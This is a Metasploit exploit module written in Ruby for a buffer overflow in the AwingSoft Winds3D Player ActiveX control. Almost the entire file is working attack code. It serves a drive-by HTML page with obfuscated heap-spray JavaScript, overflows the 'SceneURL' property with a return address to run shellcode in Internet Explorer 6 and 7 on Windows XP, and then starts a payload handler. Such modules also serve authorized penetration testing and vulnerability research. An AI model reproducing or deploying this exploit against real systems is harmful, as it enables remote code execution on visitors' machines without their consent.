### ## This file is part of the Metasploit Framework and may be subject to ## redistribution and commercial restrictions. Please see the Metasploit ## Framework web site for more information on licensing and terms of use. ## http://metasploit.com/framework/ ### ## # awingsoft_web3d_bof.rb # # AwingSoft Web3D Player 'SceneURL()' Buffer Overflow exploit for the Metasploit Framework # # Tested successfully on the following platforms: # - Internet Explorer 6, Windows XP SP2 # - Internet Explorer 7, Windows XP SP3 # # WindsPly.ocx versions tested: # - 3.0.0.5 # - 3.5.0.0 # - 3.6.0.0 (beta) # # Trancer # http://www.rec-sec.com ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'AwingSoft Winds3D Player SceneURL Buffer Overflow', 'Description' => %q{ This module exploits a data segment buffer overflow within Winds3D Viewer of AwingSoft Awakening 3.x (WindsPly.ocx v3.6.0.0). This ActiveX is a plugin of AwingSoft Web3D Player. By setting an overly long value to the 'SceneURL' property, an attacker can overrun a buffer and execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'shinnai <shinnai[at]autistici.org>', # Original exploit [see References] 'Trancer <mtrancer[at]gmail.com>', # Metasploit implementation 'jduck' ], 'Version' => '$Revision: 7724 $', 'References' => [ [ 'OSVDB', '60017' ], [ 'URL', 'http://www.milw0rm.com/exploits/9116' ], [ 'URL', 'http://www.shinnai.net/exploits/nsGUdeley3EHfKEV690p.txt' ], [ 'URL', 'http://www.rec-sec.com/2009/07/28/awingsoft-web3d-buffer-overflow/' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process' }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00\x09\x0a\x0d'\\", 'StackAdjustment' => -3500 }, 'Platform' => 'win', 'Targets' => [ # data segment size: 76180 # crasher offsets: 2640, 2712, 8984, 68420, 68424 [ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C, 'Offset' => 8984 } ] ], 'DisclosureDate' => 'Jul 10 2009', 'DefaultTarget' => 0)) end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # Encode the shellcode shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Setup exploit buffers nops = Rex::Text.to_unescape([target.ret].pack('V')) ret = Rex::Text.uri_encode([target.ret].pack('V')) blocksize = 0x40000 fillto = 500 offset = target['Offset'] # Randomize the javascript variable names winds3d = rand_text_alpha(rand(100) + 1) j_shellcode = rand_text_alpha(rand(100) + 1) j_nops = rand_text_alpha(rand(100) + 1) j_ret = rand_text_alpha(rand(100) + 1) j_headersize = rand_text_alpha(rand(100) + 1) j_slackspace = rand_text_alpha(rand(100) + 1) j_fillblock = rand_text_alpha(rand(100) + 1) j_block = rand_text_alpha(rand(100) + 1) j_memory = rand_text_alpha(rand(100) + 1) j_counter = rand_text_alpha(rand(30) + 2) # we must leave the page, so we use http-equiv and javascript refresh methods html = %Q|<html> <head><meta http-equiv="refresh" content="1;URL=#{get_resource}"></head> <object classid='clsid:17A54E7D-A9D4-11D8-9552-00E04CB09903' id='#{winds3d}'></object> <script> #{j_shellcode}=unescape('#{shellcode}'); #{j_nops}=unescape('#{nops}'); #{j_headersize}=20; #{j_slackspace}=#{j_headersize}+#{j_shellcode}.length; while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops}; #{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace}); #{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace}); while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock}; #{j_memory}=new Array(); for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode}; var #{j_ret} = unescape('#{ret}'); while (#{j_ret}.length <= #{offset}) { #{j_ret} = #{j_ret} + unescape('#{ret}'); } #{winds3d}.SceneURL = #{j_ret}; setTimeout('window.location = "#{get_resource}";', 500); </script> </html> | print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response(cli, html, { 'Content-Type' => 'text/html' }) # Handle the payload handler(cli) end end